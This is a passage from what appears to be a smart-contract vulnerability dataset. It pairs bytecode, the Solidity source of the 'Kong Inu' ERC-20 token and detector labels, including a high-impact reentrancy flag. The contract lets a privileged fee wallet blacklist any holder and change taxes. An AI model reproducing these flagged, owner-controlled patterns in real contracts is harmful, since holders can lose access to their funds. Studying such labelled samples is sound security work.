fffffffffffffffffffffffff1681565b6040805190810160405280600381526020017f544743000000000000000000000000000000000000000000000000000000000081525081565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561143f57600080fd5b600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115151561148d57600080fd5b6114df81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c9090919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061153781600054611c9090919063ffffffff16565b6000819055508173ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5826040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561163257600080fd5b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561168057600080fd5b6000600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115156116ce57600080fd5b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054421015151561171c57600080fd5b61176e82600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c9090919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061180382600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ca990919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061194682600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ca990919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611b9457600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611bd057600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000828211151515611c9e57fe5b818303905092915050565b6000808284019050838110151515611cbd57fe5b80915050929150505600a165627a7a723058205ee389a848c0aa3e8505dd69b603cb155335378ff57619f4066f33a05ecdbe110029 | {"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 354 |
0x6d20cDff6f31757DC1ea47d9dDBA86094b35618E | /**
*Submitted for verification at Etherscan.io on 2022-04-04
*/
/*
https://www.konginu.net/
https://t.me/konginueth
*/
pragma solidity ^0.8.9;
// SPDX-License-Identifier: UNLICENSED
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract KongInu is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = (100 * 1e15 * 1e9);
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public _maxWallet;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
uint256 private _sellTax;
uint256 private _buyTax;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
uint256 public SWAPamount = (500 * 1e12 * 1e9);
string private constant _name = "Kong Inu";
string private constant _symbol = "KONGI";
uint8 private constant _decimals = 9;
event SWAPamountUpdated(uint SWAPamount);
event MaxWalletUpdated(uint _maxWallet);
event MaxTxAmountUpdated(uint _maxTxAmount);
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
uint256 private _maxTxAmount = _tTotal;
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(0x0F77A6e82c8b24F341E2316c7E484eb72Ebe98a5);
_feeAddrWallet2 = payable(0x0F77A6e82c8b24F341E2316c7E484eb72Ebe98a5);
_rOwned[address(this)] = _rTotal;
_sellTax = 20;
_buyTax = 5;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
emit Transfer(address(0), address(this), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(! _isExcludedFromFee[to] && ! _isExcludedFromFee[from]) {
_feeAddr1 = 1;
_feeAddr2 = _buyTax;
}
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to]) {
require(amount <= _maxTxAmount);
require(amount + balanceOf(to) <= _maxWallet, "Over max wallet size.");
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 1;
_feeAddr2 = _sellTax;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet2.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
_maxTxAmount = (100 * 1e13 * 1e9);
_maxWallet = (300 * 1e13 * 1e9);
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBot(address[] memory bots_) public {
require(_msgSender() == _feeAddrWallet2);
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public {
require(_msgSender() == _feeAddrWallet2);
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _setMaxAmounts(uint256 maxTxAmount, uint maxWallet) external {
require(_msgSender() == _feeAddrWallet1);
_maxTxAmount = maxTxAmount;
_maxWallet = maxWallet;
}
function _setSellTax(uint256 sellTax) external {
if (sellTax < 15) {
require(_msgSender() == _feeAddrWallet1);
_sellTax = sellTax;
}
}
function _setBuyTax(uint256 buyTax) external {
if (buyTax < 10) {
require(_msgSender() == _feeAddrWallet1);
_buyTax = buyTax;
}
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function updateSWAPamount(uint256 newNum) external {
require(_msgSender() == _feeAddrWallet1);
SWAPamount = newNum;
}
} | 0x6080604052600436106101395760003560e01c8063715018a6116100ab578063c3c8cd801161006f578063c3c8cd801461036a578063c9567bf91461037f578063cbf66bfe14610394578063dbe8272c146103b4578063dd62ed3e146103d4578063e13071d71461041a57600080fd5b8063715018a6146102c957806382247ec0146102de5780638da5cb5b146102f457806395d89b411461031c578063a9059cbb1461034a57600080fd5b8063273123b7116100fd578063273123b7146102225780632b7581b214610242578063313ce567146102625780635cbde1501461027e5780636fc3eaec1461029457806370a08231146102a957600080fd5b806306fdde0314610145578063095ea7b3146101885780630eca1180146101b857806318160ddd146101da57806323b872dd1461020257600080fd5b3661014057005b600080fd5b34801561015157600080fd5b506040805180820190915260088152674b6f6e6720496e7560c01b60208201525b60405161017f9190611718565b60405180910390f35b34801561019457600080fd5b506101a86101a3366004611792565b61043a565b604051901515815260200161017f565b3480156101c457600080fd5b506101d86101d33660046117d4565b610451565b005b3480156101e657600080fd5b506a52b7d2dcc80cd2e40000005b60405190815260200161017f565b34801561020e57600080fd5b506101a861021d366004611899565b6104dd565b34801561022e57600080fd5b506101d861023d3660046118da565b610546565b34801561024e57600080fd5b506101d861025d3660046118f7565b610587565b34801561026e57600080fd5b506040516009815260200161017f565b34801561028a57600080fd5b506101f460105481565b3480156102a057600080fd5b506101d86105b9565b3480156102b557600080fd5b506101f46102c43660046118da565b6105e3565b3480156102d557600080fd5b506101d8610605565b3480156102ea57600080fd5b506101f460095481565b34801561030057600080fd5b506000546040516001600160a01b03909116815260200161017f565b34801561032857600080fd5b506040805180820190915260058152644b4f4e474960d81b6020820152610172565b34801561035657600080fd5b506101a8610365366004611792565b6106ae565b34801561037657600080fd5b506101d86106bb565b34801561038b57600080fd5b506101d86106f1565b3480156103a057600080fd5b506101d86103af366004611910565b610af5565b3480156103c057600080fd5b506101d86103cf3660046118f7565b610b20565b3480156103e057600080fd5b506101f46103ef366004611932565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561042657600080fd5b506101d86104353660046118f7565b610b4e565b6000610447338484610b73565b5060015b92915050565b600f546001600160a01b0316336001600160a01b03161461047157600080fd5b60005b81518110156104d9576001600660008484815181106104955761049561196b565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806104d181611997565b915050610474565b5050565b60006104ea848484610c97565b61053c843361053785604051806060016040528060288152602001611b01602891396001600160a01b038a166000908152600460209081526040808320338452909152902054919061102c565b610b73565b5060019392505050565b600f546001600160a01b0316336001600160a01b03161461056657600080fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b600a8110156105b657600e546001600160a01b0316336001600160a01b0316146105b057600080fd5b600d8190555b50565b600e546001600160a01b0316336001600160a01b0316146105d957600080fd5b476105b681611066565b6001600160a01b03811660009081526002602052604081205461044b906110a0565b6000546001600160a01b031633146106645760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610447338484610c97565b600e546001600160a01b0316336001600160a01b0316146106db57600080fd5b60006106e6306105e3565b90506105b681611124565b6000546001600160a01b0316331461074b5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161065b565b601254600160a01b900460ff16156107a55760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161065b565b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107e430826a52b7d2dcc80cd2e4000000610b73565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561081d57600080fd5b505afa158015610831573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061085591906119b2565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561089d57600080fd5b505afa1580156108b1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108d591906119b2565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561091d57600080fd5b505af1158015610931573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061095591906119b2565b601280546001600160a01b0319166001600160a01b039283161790556011541663f305d7194730610985816105e3565b60008061099a6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156109fd57600080fd5b505af1158015610a11573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a3691906119cf565b50506012805469d3c21bcecceda10000006013556a027b46536c66c8e300000060095562ff00ff60a01b1981166201000160a01b1790915560115460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610abd57600080fd5b505af1158015610ad1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104d991906119fd565b600e546001600160a01b0316336001600160a01b031614610b1557600080fd5b601391909155600955565b600f8110156105b657600e546001600160a01b0316336001600160a01b031614610b4957600080fd5b600c55565b600e546001600160a01b0316336001600160a01b031614610b6e57600080fd5b601055565b6001600160a01b038316610bd55760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161065b565b6001600160a01b038216610c365760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161065b565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cfb5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161065b565b6001600160a01b038216610d5d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161065b565b60008111610dbf5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161065b565b6001600160a01b03821660009081526005602052604090205460ff16158015610e0157506001600160a01b03831660009081526005602052604090205460ff16155b15610e12576001600a55600d54600b555b6000546001600160a01b03848116911614801590610e3e57506000546001600160a01b03838116911614155b1561101c576001600160a01b03831660009081526006602052604090205460ff16158015610e8557506001600160a01b03821660009081526006602052604090205460ff16155b610e8e57600080fd5b6012546001600160a01b038481169116148015610eb957506011546001600160a01b03838116911614155b8015610ede57506001600160a01b03821660009081526005602052604090205460ff16155b15610f4e57601354811115610ef257600080fd5b600954610efe836105e3565b610f089083611a1f565b1115610f4e5760405162461bcd60e51b815260206004820152601560248201527427bb32b91036b0bc103bb0b63632ba1039b4bd329760591b604482015260640161065b565b6012546001600160a01b038381169116148015610f7957506011546001600160a01b03848116911614155b8015610f9e57506001600160a01b03831660009081526005602052604090205460ff16155b15610faf576001600a55600c54600b555b6000610fba306105e3565b601254909150600160a81b900460ff16158015610fe557506012546001600160a01b03858116911614155b8015610ffa5750601254600160b01b900460ff165b1561101a5761100881611124565b4780156110185761101847611066565b505b505b6110278383836112ad565b505050565b600081848411156110505760405162461bcd60e51b815260040161065b9190611718565b50600061105d8486611a37565b95945050505050565b600f546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156104d9573d6000803e3d6000fd5b60006007548211156111075760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161065b565b60006111116112b8565b905061111d83826112db565b9392505050565b6012805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061116c5761116c61196b565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156111c057600080fd5b505afa1580156111d4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111f891906119b2565b8160018151811061120b5761120b61196b565b6001600160a01b0392831660209182029290920101526011546112319130911684610b73565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac9479061126a908590600090869030904290600401611a4e565b600060405180830381600087803b15801561128457600080fd5b505af1158015611298573d6000803e3d6000fd5b50506012805460ff60a81b1916905550505050565b61102783838361131d565b60008060006112c5611414565b90925090506112d482826112db565b9250505090565b600061111d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061145a565b60008060008060008061132f87611488565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061136190876114e5565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546113909086611527565b6001600160a01b0389166000908152600260205260409020556113b281611586565b6113bc84836115d0565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161140191815260200190565b60405180910390a3505050505050505050565b60075460009081906a52b7d2dcc80cd2e400000061143282826112db565b821015611451575050600754926a52b7d2dcc80cd2e400000092509050565b90939092509050565b6000818361147b5760405162461bcd60e51b815260040161065b9190611718565b50600061105d8486611abf565b60008060008060008060008060006114a58a600a54600b546115f4565b92509250925060006114b56112b8565b905060008060006114c88e878787611649565b919e509c509a509598509396509194505050505091939550919395565b600061111d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061102c565b6000806115348385611a1f565b90508381101561111d5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161065b565b60006115906112b8565b9050600061159e8383611699565b306000908152600260205260409020549091506115bb9082611527565b30600090815260026020526040902055505050565b6007546115dd90836114e5565b6007556008546115ed9082611527565b6008555050565b600080808061160e60646116088989611699565b906112db565b9050600061162160646116088a89611699565b90506000611639826116338b866114e5565b906114e5565b9992985090965090945050505050565b60008080806116588886611699565b905060006116668887611699565b905060006116748888611699565b905060006116868261163386866114e5565b939b939a50919850919650505050505050565b6000826116a85750600061044b565b60006116b48385611ae1565b9050826116c18583611abf565b1461111d5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161065b565b600060208083528351808285015260005b8181101561174557858101830151858201604001528201611729565b81811115611757576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146105b657600080fd5b803561178d8161176d565b919050565b600080604083850312156117a557600080fd5b82356117b08161176d565b946020939093013593505050565b634e487b7160e01b600052604160045260246000fd5b600060208083850312156117e757600080fd5b823567ffffffffffffffff808211156117ff57600080fd5b818501915085601f83011261181357600080fd5b813581811115611825576118256117be565b8060051b604051601f19603f8301168101818110858211171561184a5761184a6117be565b60405291825284820192508381018501918883111561186857600080fd5b938501935b8285101561188d5761187e85611782565b8452938501939285019261186d565b98975050505050505050565b6000806000606084860312156118ae57600080fd5b83356118b98161176d565b925060208401356118c98161176d565b929592945050506040919091013590565b6000602082840312156118ec57600080fd5b813561111d8161176d565b60006020828403121561190957600080fd5b5035919050565b6000806040838503121561192357600080fd5b50508035926020909101359150565b6000806040838503121561194557600080fd5b82356119508161176d565b915060208301356119608161176d565b809150509250929050565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b60006000198214156119ab576119ab611981565b5060010190565b6000602082840312156119c457600080fd5b815161111d8161176d565b6000806000606084860312156119e457600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611a0f57600080fd5b8151801515811461111d57600080fd5b60008219821115611a3257611a32611981565b500190565b600082821015611a4957611a49611981565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611a9e5784516001600160a01b031683529383019391830191600101611a79565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611adc57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611afb57611afb611981565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220734ec67692b27494ad9c52ee9d5507560e066735cdaa8b9376267f452f7727a464736f6c63430008090033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 355 |
0xeceb44f21be53e21ad98122a6fd9dccd849f4aaf | /**
.__
________ ____ ____ ____ | |__ ___________ _____ _____
\___ // __ \ / \ / _ \| | \ / ___/\__ \ / \\__ \
/ /\ ___/| | ( <_> ) Y \ \___ \ / __ \| Y Y \/ __ \_
/_____ \\___ >___| /\____/|___| / /____ >(____ /__|_| (____ /
\/ \/ \/ \/ \/ \/ \/ \/
* TOKENOMICS:
* 1,000,000,000,000 token supply
* FIRST TWO MINUTES: 3000000000 max buy / 45-second buy cooldown (these limitations are lifted automatically two minutes post-launch)
* 15-second cooldown to sell after a buy, in order to limit bot behavior. NO OTHER COOLDOWNS, NO COOLDOWNS BETWEEN SELLS
* No buy or sell token limits. Whales are welcome!
* 10% total tax on buy
* Fee on sells is dynamic, relative to price impact, minimum of 10% fee and maximum of 40% fee, with NO SELL LIMIT.
* No team tokens, no presale
* A unique approach to resolving the huge dumps after long pumps that have plagued every NotInu fork
*
*
SPDX-License-Identifier: UNLICENSED
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
